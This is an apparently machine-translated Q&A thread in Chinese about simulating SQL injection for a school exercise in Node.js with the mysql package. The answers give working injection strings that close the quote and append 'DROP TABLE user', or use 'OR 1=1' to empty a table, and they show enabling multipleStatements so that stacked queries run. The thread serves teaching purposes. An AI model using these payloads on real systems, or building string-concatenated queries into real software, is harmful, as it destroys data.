我正在使用NodeJS
与mysql
一起使用SQL
数据库。
对于学校示例,我想模拟SQL注入。
我编写了可能SQL injection
的代码:
const mysql = require('mysql')
const connection = mysql.createConnection({
host: settings.DB_MYSQL_HOST,
user: settings.DB_MYSQL_USER,
password: settings.DB_MYSQL_PSW,
database: settings.DB_MYSQL_DB,
})
let sql = 'DROP TABLE user;'
connection.query('DELETE FROM todos WHERE id = \'' + sql + '\'', (error) => {
if (error) {
res.json({ res: error })
console.log('SQL ERROR')
console.log(error)
throw error
}
this._sendSucc(res)
})
但SQL injection
无效。我希望攻击表名'user'。
哪里有问题?我没有使用准备声明。
你能举个例子SQL injection
答案 0 :(得分:0)
您必须更改update语句,使其成为两个工作语句。这应该可以解决问题:
let sql = '\';DROP TABLE user;-- '
关闭报价,添加有效负载,并使用 - 和空格注释掉行的其余部分。
但是,正如Stacking queries in node.js mysql中所述,node.js-mysql受到保护,不会在sql语句中出现多个查询。 您可以做的最大损害是修改delete语句以删除表的所有行。
let sql = '\' OR 1=1 -- '
或者您可以打开多个语句,这看起来像是在作弊:
const connection = mysql.createConnection({
host: settings.DB_MYSQL_HOST,
user: settings.DB_MYSQL_USER,
password: settings.DB_MYSQL_PSW,
database: settings.DB_MYSQL_DB,
multipleStatements: true,
})
答案 1 :(得分:0)
你不是"注射"一点都不您所做的只是为id
语句提供DELETE
,而是提供字符串DROP TABLE user;
。你的最终陈述(MySQL会看到的)如下所示:
DELETE FROM todos WHERE id = 'DROP TABLE user;'
发生的事情是,(假设id是整数或类型的东西),MySQL隐式地将字符串转换为数字。由于文本开头没有数字,结果为0. MySQL最终执行的语句是
DELETE FROM todos WHERE id = '0'
您希望通过SQL注入实现的目标是拥有两个语句。所以首先你完成MySQL期望的语句,然后你添加你的语句。您希望MySQL执行的语句类似于
DELETE FROM todos WHERE id = 'foo'; DROP TABLE user;
所以你的字符串需要看起来像
let sql = "foo'; DROP TABLE user;-- "
添加了最终的--
,以便注释掉跟踪'
以及其他可能跟随的内容。